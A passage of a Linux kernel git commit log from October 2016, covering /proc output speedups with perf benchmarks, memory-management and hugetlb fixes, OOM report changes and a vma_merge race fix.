http://lkml.kernel.org/r/1469132667-17377-1-git-send-email-john.stultz@linaro.org Signed-off-by: John Stultz Reviewed-by: Nick Kralevich Acked-by: Serge Hallyn Acked-by: Kees Cook Cc: Kees Cook Cc: "Serge E. Hallyn" Cc: Thomas Gleixner Cc: Arjan van de Ven Cc: Oren Laadan Cc: Ruchi Kandoi Cc: Rom Lemarchand Cc: Todd Kjos Cc: Colin Cross Cc: Nick Kralevich Cc: Dmitry Shmidt Cc: Elliott Hughes Cc: Android Kernel Team Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/proc/base.c | 34 ++++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 14 deletions(-) commit e16e2d8e14a14bd87df8482c637dde8f760a8d5f Author: Joe Perches Date: Fri Oct 7 17:02:23 2016 -0700 meminfo: break apart a very long seq_printf with #ifdefs Use a specific routine to emit most lines so that the code is easier to read and maintain. akpm: text data bss dec hex filename 2976 8 0 2984 ba8 fs/proc/meminfo.o before 2669 8 0 2677 a75 fs/proc/meminfo.o after Link: http://lkml.kernel.org/r/8fce7fdef2ba081a4ef531594e97da8a9feebb58.1470810406.git.joe@perches.com Signed-off-by: Joe Perches Cc: Andi Kleen Cc: Alexey Dobriyan Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/proc/meminfo.c | 211 ++++++++++++++++++++++++------------------------------ 1 file changed, 95 insertions(+), 116 deletions(-) commit 75ba1d07fd6a494851db5132612944a9d4773f9c Author: Joe Perches Date: Fri Oct 7 17:02:20 2016 -0700 seq/proc: modify seq_put_decimal_[u]ll to take a const char *, not char Allow some seq_puts removals by taking a string instead of a single char. [akpm@linux-foundation.org: update vmstat_show(), per Joe] Link: http://lkml.kernel.org/r/667e1cf3d436de91a5698170a1e98d882905e956.1470704995.git.joe@perches.com Signed-off-by: Joe Perches Cc: Joe Perches Cc: Andi Kleen Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/proc/array.c | 178 ++++++++++++++++++++++------------------------- fs/proc/stat.c | 49 +++++++------ fs/seq_file.c | 57 +++++++++++---- include/linux/seq_file.h | 4 +- mm/vmstat.c | 2 +- 5 files changed, 154 insertions(+), 136 deletions(-) commit f7a5f132b447cb6301ab3f0b0468a63db29e41f5 Author: Alexey Dobriyan Date: Fri Oct 7 17:02:17 2016 -0700 proc: faster /proc/*/status top(1) opens the following files for every PID: /proc/*/stat /proc/*/statm /proc/*/status This patch switches /proc/*/status away from seq_printf(). The result is 13.5% speedup. Benchmark is open("/proc/self/status")+read+close 1.000.000 million times. BEFORE $ perf stat -r 10 taskset -c 3 ./proc-self-status Performance counter stats for 'taskset -c 3 ./proc-self-status' (10 runs): 10748.474301 task-clock (msec) # 0.954 CPUs utilized ( +- 0.91% ) 12 context-switches # 0.001 K/sec ( +- 1.09% ) 1 cpu-migrations # 0.000 K/sec 104 page-faults # 0.010 K/sec ( +- 0.45% ) 37,424,127,876 cycles # 3.482 GHz ( +- 0.04% ) 8,453,010,029 stalled-cycles-frontend # 22.59% frontend cycles idle ( +- 0.12% ) 3,747,609,427 stalled-cycles-backend # 10.01% backend cycles idle ( +- 0.68% ) 65,632,764,147 instructions # 1.75 insn per cycle # 0.13 stalled cycles per insn ( +- 0.00% ) 13,981,324,775 branches # 1300.773 M/sec ( +- 0.00% ) 138,967,110 branch-misses # 0.99% of all branches ( +- 0.18% ) 11.263885428 seconds time elapsed ( +- 0.04% ) ^^^^^^^^^^^^ AFTER $ perf stat -r 10 taskset -c 3 ./proc-self-status Performance counter stats for 'taskset -c 3 ./proc-self-status' (10 runs): 9010.521776 task-clock (msec) # 0.925 CPUs utilized ( +- 1.54% ) 11 context-switches # 0.001 K/sec ( +- 1.54% ) 1 cpu-migrations # 0.000 K/sec ( +- 11.11% ) 103 page-faults # 0.011 K/sec ( +- 0.60% ) 32,352,310,603 cycles # 3.591 GHz ( +- 0.07% ) 7,849,199,578 stalled-cycles-frontend # 24.26% frontend cycles idle ( +- 0.27% ) 3,269,738,842 stalled-cycles-backend # 10.11% backend cycles idle ( +- 0.73% ) 56,012,163,567 instructions # 1.73 insn per cycle # 0.14 stalled cycles per insn ( +- 0.00% ) 11,735,778,795 branches # 1302.453 M/sec ( +- 0.00% ) 98,084,459 branch-misses # 0.84% of all branches ( +- 0.28% ) 9.741247736 seconds time elapsed ( +- 0.07% ) ^^^^^^^^^^^ Link: http://lkml.kernel.org/r/20160806125608.GB1187@p183.telecom.by Signed-off-by: Alexey Dobriyan Cc: Joe Perches Cc: Andi Kleen Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/proc/array.c | 87 +++++++++++++++++++++++++++++++-------------------------- 1 file changed, 47 insertions(+), 40 deletions(-) commit 68ba0326b4e14988f9e0c24a6e12a85cf2acd1ca Author: Alexey Dobriyan Date: Fri Oct 7 17:02:14 2016 -0700 proc: much faster /proc/vmstat Every current KDE system has process named ksysguardd polling files below once in several seconds: $ strace -e trace=open -p $(pidof ksysguardd) Process 1812 attached open("/etc/mtab", O_RDONLY|O_CLOEXEC) = 8 open("/etc/mtab", O_RDONLY|O_CLOEXEC) = 8 open("/proc/net/dev", O_RDONLY) = 8 open("/proc/net/wireless", O_RDONLY) = -1 ENOENT (No such file or directory) open("/proc/stat", O_RDONLY) = 8 open("/proc/vmstat", O_RDONLY) = 8 Hell knows what it is doing but speed up reading /proc/vmstat by 33%! Benchmark is open+read+close 1.000.000 times. BEFORE $ perf stat -r 10 taskset -c 3 ./proc-vmstat Performance counter stats for 'taskset -c 3 ./proc-vmstat' (10 runs): 13146.768464 task-clock (msec) # 0.960 CPUs utilized ( +- 0.60% ) 15 context-switches # 0.001 K/sec ( +- 1.41% ) 1 cpu-migrations # 0.000 K/sec ( +- 11.11% ) 104 page-faults # 0.008 K/sec ( +- 0.57% ) 45,489,799,349 cycles # 3.460 GHz ( +- 0.03% ) 9,970,175,743 stalled-cycles-frontend # 21.92% frontend cycles idle ( +- 0.10% ) 2,800,298,015 stalled-cycles-backend # 6.16% backend cycles idle ( +- 0.32% ) 79,241,190,850 instructions # 1.74 insn per cycle # 0.13 stalled cycles per insn ( +- 0.00% ) 17,616,096,146 branches # 1339.956 M/sec ( +- 0.00% ) 176,106,232 branch-misses # 1.00% of all branches ( +- 0.18% ) 13.691078109 seconds time elapsed ( +- 0.03% ) ^^^^^^^^^^^^ AFTER $ perf stat -r 10 taskset -c 3 ./proc-vmstat Performance counter stats for 'taskset -c 3 ./proc-vmstat' (10 runs): 8688.353749 task-clock (msec) # 0.950 CPUs utilized ( +- 1.25% ) 10 context-switches # 0.001 K/sec ( +- 2.13% ) 1 cpu-migrations # 0.000 K/sec 104 page-faults # 0.012 K/sec ( +- 0.56% ) 30,384,010,730 cycles # 3.497 GHz ( +- 0.07% ) 12,296,259,407 stalled-cycles-frontend # 40.47% frontend cycles idle ( +- 0.13% ) 3,370,668,651 stalled-cycles-backend # 11.09% backend cycles idle ( +- 0.69% ) 28,969,052,879 instructions # 0.95 insn per cycle # 0.42 stalled cycles per insn ( +- 0.01% ) 6,308,245,891 branches # 726.058 M/sec ( +- 0.00% ) 214,685,502 branch-misses # 3.40% of all branches ( +- 0.26% ) 9.146081052 seconds time elapsed ( +- 0.07% ) ^^^^^^^^^^^ vsnprintf() is slow because: 1. format_decode() is busy looking for format specifier: 2 branches per character (not in this case, but in others) 2. approximately million branches while parsing format mini language and everywhere 3. just look at what string() does /proc/vmstat is good case because most of its content are strings Link: http://lkml.kernel.org/r/20160806125455.GA1187@p183.telecom.by Signed-off-by: Alexey Dobriyan Cc: Joe Perches Cc: Andi Kleen Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/vmstat.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 51a021244b9d579be6b4f8c15c493a76deb2a79e Author: Vineet Gupta Date: Fri Oct 7 17:02:10 2016 -0700 atomic64: no need for CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE This came to light when implementing native 64-bit atomics for ARCv2. The atomic64 self-test code uses CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE to check whether atomic64_dec_if_positive() is available. It seems it was needed when not every arch defined it. However as of current code the Kconfig option seems needless - for CONFIG_GENERIC_ATOMIC64 it is auto-enabled in lib/Kconfig and a generic definition of API is present lib/atomic64.c - arches with native 64-bit atomics select it in arch/*/Kconfig and define the API in their headers So I see no point in keeping the Kconfig option Compile tested for: - blackfin (CONFIG_GENERIC_ATOMIC64) - x86 (!CONFIG_GENERIC_ATOMIC64) - ia64 Link: http://lkml.kernel.org/r/1473703083-8625-3-git-send-email-vgupta@synopsys.com Signed-off-by: Vineet Gupta Cc: Richard Henderson Cc: Ivan Kokshaysky Cc: Matt Turner Cc: Russell King Cc: Catalin Marinas Cc: Will Deacon Cc: Ralf Baechle Cc: "James E.J. Bottomley" Cc: Helge Deller Cc: Benjamin Herrenschmidt Cc: Paul Mackerras Cc: Michael Ellerman Cc: Martin Schwidefsky Cc: Heiko Carstens Cc: "David S. Miller" Cc: Chris Metcalf Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H. Peter Anvin" Cc: Vineet Gupta Cc: Zhaoxiu Zeng Cc: Linus Walleij Cc: Alexander Potapenko Cc: Andrey Ryabinin Cc: Herbert Xu Cc: Ming Lin Cc: Arnd Bergmann Cc: Geert Uytterhoeven Cc: Peter Zijlstra Cc: Borislav Petkov Cc: Andi Kleen Cc: Boqun Feng Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/alpha/Kconfig | 1 - arch/arm/Kconfig | 1 - arch/arm64/Kconfig | 1 - arch/mips/Kconfig | 1 - arch/parisc/Kconfig | 1 - arch/powerpc/Kconfig | 1 - arch/s390/Kconfig | 1 - arch/sparc/Kconfig | 1 - arch/tile/Kconfig | 1 - arch/x86/Kconfig | 1 - lib/Kconfig | 3 --- lib/atomic64_test.c | 4 ---- 12 files changed, 17 deletions(-) commit 445ed0a0eac50d2a76441278a084554a4b9dcfda Author: Vineet Gupta Date: Fri Oct 7 17:02:07 2016 -0700 ia64: implement atomic64_dec_if_positive This is based on s390 version and needed to get rid of CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE Link: http://lkml.kernel.org/r/1473703083-8625-2-git-send-email-vgupta@synopsys.com Signed-off-by: Vineet Gupta Reported-by: kbuild test robot Cc: Tony Luck Cc: Fenghua Yu Cc: Ingo Molnar Cc: Peter Zijlstra Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/ia64/include/asm/atomic.h | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 1061b0d21e16550e7d7893a5deee2e49ea3990ad Author: zijun_hu Date: Fri Oct 7 17:02:04 2016 -0700 linux/mm.h: canonicalize macro PAGE_ALIGNED() definition The macro PAGE_ALIGNED() is prone to cause error because it doesn't follow convention to parenthesize parameter @addr within macro body, for example unsigned long *ptr = kmalloc(...); PAGE_ALIGNED(ptr + 16); for the left parameter of macro IS_ALIGNED(), (unsigned long)(ptr + 16) is desired but the actual one is (unsigned long)ptr + 16. It is fixed by simply canonicalizing macro PAGE_ALIGNED() definition. Link: http://lkml.kernel.org/r/57EA6AE7.7090807@zoho.com Signed-off-by: zijun_hu Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/mm.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 72e2936c04f7d2a4bf87d7f72d3bf11cf91ebb47 Author: zhong jiang Date: Fri Oct 7 17:02:01 2016 -0700 mm: remove unnecessary condition in remove_inode_hugepages When the huge page is added to the page cahce (huge_add_to_page_cache), the page private flag will be cleared. since this code (remove_inode_hugepages) will only be called for pages in the page cahce, PagePrivate(page) will always be false. The patch remove the code without any functional change. Link: http://lkml.kernel.org/r/1475113323-29368-1-git-send-email-zhongjiang@huawei.com Signed-off-by: zhong jiang Reviewed-by: Naoya Horiguchi Reviewed-by: Mike Kravetz Tested-by: Mike Kravetz Acked-by: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/hugetlbfs/inode.c | 12 +++++------- include/linux/hugetlb.h | 2 +- mm/hugetlb.c | 4 ++-- 3 files changed, 8 insertions(+), 10 deletions(-) commit 63f53dea0c9866e93802d50a230c460a024c44e5 Author: Michal Hocko Date: Fri Oct 7 17:01:58 2016 -0700 mm: warn about allocations which stall for too long Currently we do warn only about allocation failures but small allocations are basically nofail and they might loop in the page allocator for a long time. Especially when the reclaim cannot make any progress - e.g. GFP_NOFS cannot invoke the oom killer and rely on a different context to make a forward progress in case there is a lot memory used by filesystems. Give us at least a clue when something like this happens and warn about allocations which take more than 10s. Print the basic allocation context information along with the cumulative time spent in the allocation as well as the allocation stack. Repeat the warning after every 10 seconds so that we know that the problem is permanent rather than ephemeral. Link: http://lkml.kernel.org/r/20160929084407.7004-3-mhocko@kernel.org Signed-off-by: Michal Hocko Cc: Vlastimil Babka Cc: Tetsuo Handa Cc: Johannes Weiner Cc: Mel Gorman Cc: Dave Hansen Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/page_alloc.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 7877cdcc3893c1bd9a833b2f0398e7320794c6e6 Author: Michal Hocko Date: Fri Oct 7 17:01:55 2016 -0700 mm: consolidate warn_alloc_failed users warn_alloc_failed is currently used from the page and vmalloc allocators. This is a good reuse of the code except that vmalloc would appreciate a slightly different warning message. This is already handled by the fmt parameter except that "%s: page allocation failure: order:%u, mode:%#x(%pGg)" is printed anyway. This might be quite misleading because it might be a vmalloc failure which leads to the warning while the page allocator is not the culprit here. Fix this by always using the fmt string and only print the context that makes sense for the particular context (e.g. order makes only very little sense for the vmalloc context). Rename the function to not miss any user and also because a later patch will reuse it also for !failure cases. Link: http://lkml.kernel.org/r/20160929084407.7004-2-mhocko@kernel.org Signed-off-by: Michal Hocko Acked-by: Vlastimil Babka Cc: Tetsuo Handa Cc: Johannes Weiner Cc: Mel Gorman Cc: Dave Hansen Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/mm.h | 5 ++--- mm/page_alloc.c | 27 ++++++++++++--------------- mm/vmalloc.c | 14 ++++++-------- 3 files changed, 20 insertions(+), 26 deletions(-) commit c2a9737f45e27d8263ff9643f994bda9bac0b944 Author: Wei Fang Date: Fri Oct 7 17:01:52 2016 -0700 vfs,mm: fix a dead loop in truncate_inode_pages_range() We triggered a deadloop in truncate_inode_pages_range() on 32 bits architecture with the test case bellow: ... fd = open(); write(fd, buf, 4096); preadv64(fd, &iovec, 1, 0xffffffff000); ftruncate(fd, 0); ... Then ftruncate() will not return forever. The filesystem used in this case is ubifs, but it can be triggered on many other filesystems. When preadv64() is called with offset=0xffffffff000, a page with index=0xffffffff will be added to the radix tree of ->mapping. Then this page can be found in ->mapping with pagevec_lookup(). After that, truncate_inode_pages_range(), which is called in ftruncate(), will fall into an infinite loop: - find a page with index=0xffffffff, since index>=end, this page won't be truncated - index++, and index become 0 - the page with index=0xffffffff will be found again The data type of index is unsigned long, so index won't overflow to 0 on 64 bits architecture in this case, and the dead loop won't happen. Since truncate_inode_pages_range() is executed with holding lock of inode->i_rwsem, any operation related with this lock will be blocked, and a hung task will happen, e.g.: INFO: task truncate_test:3364 blocked for more than 120 seconds. ... call_rwsem_down_write_failed+0x17/0x30 generic_file_write_iter+0x32/0x1c0 ubifs_write_iter+0xcc/0x170 __vfs_write+0xc4/0x120 vfs_write+0xb2/0x1b0 SyS_write+0x46/0xa0 The page with index=0xffffffff added to ->mapping is useless. Fix this by checking the read position before allocating pages. Link: http://lkml.kernel.org/r/1475151010-40166-1-git-send-email-fangwei1@huawei.com Signed-off-by: Wei Fang Cc: Christoph Hellwig Cc: Dave Chinner Cc: Al Viro Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/filemap.c | 4 ++++ 1 file changed, 4 insertions(+) commit 14f099107aacea5ffa77d4fd3be52671e3925b93 Author: Yisheng Xie Date: Fri Oct 7 17:01:49 2016 -0700 arm64 Kconfig: select gigantic page Arm64 supports gigantic pages after commit 084bd29810a5 ("ARM64: mm: HugeTLB support.") however, it can only be allocated at boottime and can't be freed. This patch selects ARCH_HAS_GIGANTIC_PAGE to make gigantic pages can be allocated and freed at runtime for arch arm64. Link: http://lkml.kernel.org/r/1475227569-63446-3-git-send-email-xieyisheng1@huawei.com Signed-off-by: Yisheng Xie Acked-by: Michal Hocko Acked-by: Catalin Marinas Acked-by: Hillf Danton Cc: Hanjun Guo Cc: Will Deacon Cc: Dave Hansen Cc: Sudeep Holla Cc: Mark Rutland Cc: Rob Herring Cc: Mike Kravetz Cc: Naoya Horiguchi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/arm64/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 461a7184320a1b4d2c12ad538354062fef4ee0f1 Author: Yisheng Xie Date: Fri Oct 7 17:01:46 2016 -0700 mm/hugetlb: introduce ARCH_HAS_GIGANTIC_PAGE Avoid making ifdef get pretty unwieldy if many ARCHs support gigantic page. No functional change with this patch. Link: http://lkml.kernel.org/r/1475227569-63446-2-git-send-email-xieyisheng1@huawei.com Signed-off-by: Yisheng Xie Suggested-by: Michal Hocko Acked-by: Michal Hocko Acked-by: Naoya Horiguchi Acked-by: Hillf Danton Cc: Hanjun Guo Cc: Will Deacon Cc: Dave Hansen Cc: Sudeep Holla Cc: Catalin Marinas Cc: Mark Rutland Cc: Rob Herring Cc: Mike Kravetz Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/s390/Kconfig | 1 + arch/x86/Kconfig | 1 + fs/Kconfig | 3 +++ mm/hugetlb.c | 2 +- 4 files changed, 6 insertions(+), 1 deletion(-) commit 82e7d3abec86cba9df945a765bba384f8ac113a7 Author: Michal Hocko Date: Fri Oct 7 17:01:43 2016 -0700 oom: print nodemask in the oom report We have received a hard to explain oom report from a customer. The oom triggered regardless there is a lot of free memory: PoolThread invoked oom-killer: gfp_mask=0x280da, order=0, oom_adj=0, oom_score_adj=0 PoolThread cpuset=/ mems_allowed=0-7 Pid: 30055, comm: PoolThread Tainted: G E X 3.0.101-80-default #1 Call Trace: dump_trace+0x75/0x300 dump_stack+0x69/0x6f dump_header+0x8e/0x110 oom_kill_process+0xa6/0x350 out_of_memory+0x2b7/0x310 __alloc_pages_slowpath+0x7dd/0x820 __alloc_pages_nodemask+0x1e9/0x200 alloc_pages_vma+0xe1/0x290 do_anonymous_page+0x13e/0x300 do_page_fault+0x1fd/0x4c0 page_fault+0x25/0x30 [...] active_anon:1135959151 inactive_anon:1051962 isolated_anon:0 active_file:13093 inactive_file:222506 isolated_file:0 unevictable:262144 dirty:2 writeback:0 unstable:0 free:432672819 slab_reclaimable:7917 slab_unreclaimable:95308 mapped:261139 shmem:166297 pagetables:2228282 bounce:0 [...] Node 0 DMA free:15896kB min:0kB low:0kB high:0kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15672kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:0kB slab_unreclaimable:0kB kernel_stack:0kB pagetables:0kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes lowmem_reserve[]: 0 2892 775542 775542 Node 0 DMA32 free:2783784kB min:28kB low:32kB high:40kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2961572kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:0kB slab_unreclaimable:0kB kernel_stack:0kB pagetables:0kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes lowmem_reserve[]: 0 0 772650 772650 Node 0 Normal free:8120kB min:8160kB low:10200kB high:12240kB active_anon:779334960kB inactive_anon:2198744kB active_file:0kB inactive_file:180kB unevictable:131072kB isolated(anon):0kB isolated(file):0kB present:791193600kB mlocked:131072kB dirty:0kB writeback:0kB mapped:372940kB shmem:361480kB slab_reclaimable:4536kB slab_unreclaimable:68472kB kernel_stack:10104kB pagetables:1414820kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:2280 all_unreclaimable? yes lowmem_reserve[]: 0 0 0 0 Node 1 Normal free:476718144kB min:8192kB low:10240kB high:12288kB active_anon:307623696kB inactive_anon:283620kB active_file:10392kB inactive_file:69908kB unevictable:131072kB isolated(anon):0kB isolated(file):0kB present:794296320kB mlocked:131072kB dirty:4kB writeback:0kB mapped:257208kB shmem:189896kB slab_reclaimable:3868kB slab_unreclaimable:44756kB kernel_stack:1848kB pagetables:1369432kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no lowmem_reserve[]: 0 0 0 0 Node 2 Normal free:386002452kB min:8192kB low:10240kB high:12288kB active_anon:398563752kB inactive_anon:68184kB active_file:10292kB inactive_file:29936kB unevictable:131072kB isolated(anon):0kB isolated(file):0kB present:794296320kB mlocked:131072kB dirty:0kB writeback:0kB mapped:32084kB shmem:776kB slab_reclaimable:6888kB slab_unreclaimable:60056kB kernel_stack:8208kB pagetables:1282880kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no lowmem_reserve[]: 0 0 0 0 Node 3 Normal free:196406760kB min:8192kB low:10240kB high:12288kB active_anon:587445640kB inactive_anon:164396kB active_file:5716kB inactive_file:709844kB unevictable:131072kB isolated(anon):0kB isolated(file):0kB present:794296320kB mlocked:131072kB dirty:0kB writeback:0kB mapped:291776kB shmem:111416kB slab_reclaimable:5152kB slab_unreclaimable:44516kB kernel_stack:2168kB pagetables:1455956kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no lowmem_reserve[]: 0 0 0 0 Node 4 Normal free:425338880kB min:8192kB low:10240kB high:12288kB active_anon:359695204kB inactive_anon:43216kB active_file:5748kB inactive_file:14772kB unevictable:131072kB isolated(anon):0kB isolated(file):0kB present:794296320kB mlocked:131072kB dirty:0kB writeback:0kB mapped:24708kB shmem:1120kB slab_reclaimable:1884kB slab_unreclaimable:41060kB kernel_stack:1856kB pagetables:1100208kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no lowmem_reserve[]: 0 0 0 0 Node 5 Normal free:11140kB min:8192kB low:10240kB high:12288kB active_anon:784240872kB inactive_anon:1217164kB active_file:28kB inactive_file:48kB unevictable:131072kB isolated(anon):0kB isolated(file):0kB present:794296320kB mlocked:131072kB dirty:0kB writeback:0kB mapped:11408kB shmem:0kB slab_reclaimable:2008kB slab_unreclaimable:49220kB kernel_stack:1360kB pagetables:531600kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:1202 all_unreclaimable? yes lowmem_reserve[]: 0 0 0 0 Node 6 Normal free:243395332kB min:8192kB low:10240kB high:12288kB active_anon:542015544kB inactive_anon:40208kB active_file:968kB inactive_file:8484kB unevictable:131072kB isolated(anon):0kB isolated(file):0kB present:794296320kB mlocked:131072kB dirty:0kB writeback:0kB mapped:19992kB shmem:496kB slab_reclaimable:1672kB slab_unreclaimable:37052kB kernel_stack:2088kB pagetables:750264kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no lowmem_reserve[]: 0 0 0 0 Node 7 Normal free:10768kB min:8192kB low:10240kB high:12288kB active_anon:784916936kB inactive_anon:192316kB active_file:19228kB inactive_file:56852kB unevictable:131072kB isolated(anon):0kB isolated(file):0kB present:794296320kB mlocked:131072kB dirty:4kB writeback:0kB mapped:34440kB shmem:4kB slab_reclaimable:5660kB slab_unreclaimable:36100kB kernel_stack:1328kB pagetables:1007968kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no lowmem_reserve[]: 0 0 0 0 So all nodes but Node 0 have a lot of free memory which should suggest that there is an available memory especially when mems_allowed=0-7. One could speculate that a massive process has managed to terminate and free up a lot of memory while racing with the above allocation request. Although this is highly unlikely it cannot be ruled out. A further debugging, however shown that the faulting process had mempolicy (not cpuset) to bind to Node 0. We cannot see that information from the report though. mems_allowed turned out to be more confusing than really helpful. Fix this by always priting the nodemask. It is either mempolicy mask (and non-null) or the one defined by the cpusets. The new output for the above oom report would be PoolThread invoked oom-killer: gfp_mask=0x280da(GFP_HIGHUSER_MOVABLE|__GFP_ZERO), nodemask=0, order=0, oom_adj=0, oom_score_adj=0 This patch doesn't touch show_mem and the node filtering based on the cpuset node mask because mempolicy is always a subset of cpusets and seeing the full cpuset oom context might be helpful for tunning more specific mempolicies inside cpusets (e.g. when they turn out to be too restrictive). To prevent from ugly ifdefs the mask is printed even for !NUMA configurations but this should be OK (a single node will be printed). Link: http://lkml.kernel.org/r/20160930214146.28600-1-mhocko@kernel.org Signed-off-by: Michal Hocko Reported-by: Sellami Abdelkader Acked-by: Vlastimil Babka Cc: David Rientjes Cc: Sellami Abdelkader Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/oom_kill.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 9996f05eac09815121bb718249f21914a667791f Author: Kirill A. Shutemov Date: Fri Oct 7 17:01:40 2016 -0700 mm: clarify why we avoid page_mapcount() for slab pages in dump_page() Let's add comment on why we skip page_mapcount() for sl[aou]b pages. Link: http://lkml.kernel.org/r/20160922105532.GB24593@node Signed-off-by: Kirill A. Shutemov Acked-by: Vlastimil Babka Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/debug.c | 5 +++++ 1 file changed, 5 insertions(+) commit 8f26e0b176f3484c49d55d88fe6083a9cf9ff443 Author: Andrea Arcangeli Date: Fri Oct 7 17:01:37 2016 -0700 mm: vma_merge: correct false positive from __vma_unlink->validate_mm_rb The old code was always doing: vma->vm_end = next->vm_end vma_rb_erase(next) // in __vma_unlink vma->vm_next = next->vm_next // in __vma_unlink next = vma->vm_next vma_gap_update(next) The new code still does the above for remove_next == 1 and 2, but for remove_next == 3 it has been changed and it does: next->vm_start = vma->vm_start vma_rb_erase(vma) // in __vma_unlink vma_gap_update(next) In the latter case, while unlinking "vma", validate_mm_rb() is told to ignore "vma" that is being removed, but next->vm_start was reduced instead. So for the new case, to avoid the false positive from validate_mm_rb, it should be "next" that is ignored when "vma" is being unlinked. "vma" and "next" in the above comment, considered pre-swap(). Link: http://lkml.kernel.org/r/1474492522-2261-4-git-send-email-aarcange@redhat.com Signed-off-by: Andrea Arcangeli Tested-by: Shaun Tancheff Cc: Rik van Riel Cc: Hugh Dickins Cc: Mel Gorman Cc: Jan Vorlicek Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/mmap.c | 59 +++++++++++++++++++++++++++++++++++++++++------------------ 1 file changed, 41 insertions(+), 18 deletions(-) commit 86d12e471d9f152217744f2054e63e3742949879 Author: Andrea Arcangeli Date: Fri Oct 7 17:01:34 2016 -0700 mm: vma_adjust: minor comment correction The cases are three not two. Link: http://lkml.kernel.org/r/1474492522-2261-3-git-send-email-aarcange@redhat.com Signed-off-by: Andrea Arcangeli Cc: Rik van Riel Cc: Hugh Dickins Cc: Mel Gorman Cc: Jan Vorlicek Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/mmap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 97a42cd4398162aba77da55b568d85e5ec6b7705 Author: Andrea Arcangeli Date: Fri Oct 7 17:01:31 2016 -0700 mm: vma_adjust: remove superfluous check for next not NULL If next would be NULL we couldn't reach such code path. Link: http://lkml.kernel.org/r/1474309513-20313-2-git-send-email-aarcange@redhat.com Signed-off-by: Andrea Arcangeli Cc: Rik van Riel Cc: Hugh Dickins Cc: Mel Gorman Cc: Jan Vorlicek Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/mmap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e86f15ee64d8ee46255d964d55f74f5ba9af8c36 Author: Andrea Arcangeli Date: Fri Oct 7 17:01:28 2016 -0700 mm: vma_merge: fix vm_page_prot SMP race condition against rmap_walk The rmap_walk can access vm_page_prot (and potentially vm_flags in the pte/pmd manipulations). So it's not safe to wait the caller to update the vm_page_prot/vm_flags after vma_merge returned potentially removing the "next" vma and extending the "current" vma over the next->vm_start,vm_end range, but still with the "current" vma vm_page_prot, after releasing the rmap locks. The vm_page_prot/vm_flags must be transferred from the "next" vma to the current vma while vma_merge still holds the rmap locks. The side effect of this race condition is pte corruption during migrate as remove_migration_ptes when run on a address of the "next" vma that got removed, used the vm_page_prot of the current vma. migrate mprotect ------------ ------------- migrating in "next" vma vma_merge() # removes "next" vma and # extends "current" vma # current vma is not with # vm_page_prot updated remove_migration_ptes read vm_page_prot of current "vma" establish pte with wrong permissions vm_set_page_prot(vma) # too late! change_protection in the old vma range only, next range is not updated This caused segmentation faults and potentially memory corruption in heavy mprotect loads with some light page migration caused by compaction in the background. Hugh Dickins pointed out the comment about the Odd case 8 in vma_merge which confirms the case 8 is only buggy one where the race can trigger, in all other vma_merge cases the above cannot happen. This fix removes the oddness factor from case 8 and it converts it from: AAAA PPPPNNNNXXXX -> PPPPNNNNNNNN to: AAAA PPPPNNNNXXXX -> PPPPXXXXXXXX XXXX has the right vma properties for the whole merged vma returned by vma_adjust, so it solves the problem fully. It has the added benefits that the callers could stop updating vma properties when vma_merge succeeds however the callers are not updated by this patch (there are bits like VM_SOFTDIRTY that still need special care for the whole range, as the vma merging ignores them, but as long as they're not processed by rmap walks and instead they're accessed with the mmap_sem at least for reading, they are fine not to be updated within vma_adjust before releasing the rmap_locks). Link: 